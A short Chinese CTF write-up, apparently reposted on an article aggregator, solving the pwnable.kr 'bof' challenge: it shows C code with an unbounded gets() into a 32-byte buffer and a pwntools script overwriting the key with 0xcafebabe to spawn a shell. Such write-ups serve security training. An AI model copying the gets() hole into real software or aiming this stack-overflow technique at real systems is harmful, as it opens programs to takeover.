pwnable之bof
程序员文章站
2022-05-15 14:59:32
...
看代码
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
char overflowme[32];
printf("overflow me : ");
gets(overflowme); // smash me!
if(key == 0xcafebabe){
system("/bin/sh");
}
else{
printf("Nah..\n");
}
}
int main(int argc, char* argv[]){
func(0xdeadbeef);
return 0;
}
- 分析只有当key等于0xcafebabe时,才能得到shell
- 所以利用gets()函数溢出将key覆盖为0xcafebabe
利用IDA
可以看到覆盖空间为0x2c+0x8转化为十进制就是52
exp
from pwn import *
p = remote('pwnable.kr',9000)
p.send('A'*52 + p32(0xcafebabe))
p.interactive()
建议参考:pwn
上一篇: 【加密解密】三重数据加密3DES(Javascript实现)
下一篇: Sqlite数据库加密方法